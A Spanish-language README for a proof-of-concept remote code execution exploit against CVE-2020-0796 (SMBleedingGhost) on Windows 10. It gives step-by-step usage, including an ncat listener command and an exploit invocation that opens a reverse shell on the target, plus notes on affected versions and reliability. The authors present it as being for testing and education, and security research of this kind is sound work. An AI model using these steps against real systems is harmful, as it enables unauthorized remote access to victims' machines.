
PoC de ejecución remota de código para CVE-2020-0796
Asegúrate de que Python y ncat estén instalados.
Ejecuta calc_target_offsets.bat en la computadora objetivo y ajusta los offsets en la parte superior del archivo SMBleedingGhost.py de acuerdo con la salida del script (también consulta la nota a continuación).
Ejecuta ncat con los siguientes argumentos de línea de comandos:
ncat -lvp <port>
Donde <port> es el número de puerto en el que ncat estará escuchando.
Ejecuta SMBleedingGhost.py con los siguientes argumentos de línea de comandos:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Donde <target_ip> es la dirección IP de la computadora objetivo vulnerable. <reverse_shell_ip> y <reverse_shell_port> son la dirección IP y el número de puerto en el que ncat está escuchando.
Si todo va bien, ncat mostrará un shell que proporciona acceso al sistema de la computadora objetivo.
Nota: Podrías preguntarte por qué es necesario ejecutar el script calc_target_offsets.bat en la computadora objetivo, y si eso no anula el propósito de la ejecución remota de código siendo remota. Estos offsets no son aleatorios y son los mismos en todas las instancias de Windows de la misma versión de Windows. Se podría hacer el ataque más universal detectando la versión de Windows objetivo y ajustando los offsets automáticamente, o no dependiendo de ellos en absoluto, pero es solo un POC e hicimos lo que era más simple. También lo vemos como algo bueno que el POC no sea universal y no sea conveniente para usos distintos a pruebas y educación.

Las versiones 1903 y 1909 de Windows 10 se ven afectadas. Las versiones sin parche de Windows 10 1903 no son compatibles debido a un error de desreferencia nula en Windows (corregido en KB4512941).
Debido a la naturaleza de la explotación, el POC funciona mejor para objetivos que se ejecutan en una computadora (o una MV) con un solo procesador lógico. También se deberían soportar objetivos con más de un procesador lógico ejecutándose en VirtualBox, pero el POC es menos confiable en este caso. Es posible que otros objetivos no sean compatibles. Para más detalles, consulta nuestro informe técnico a continuación.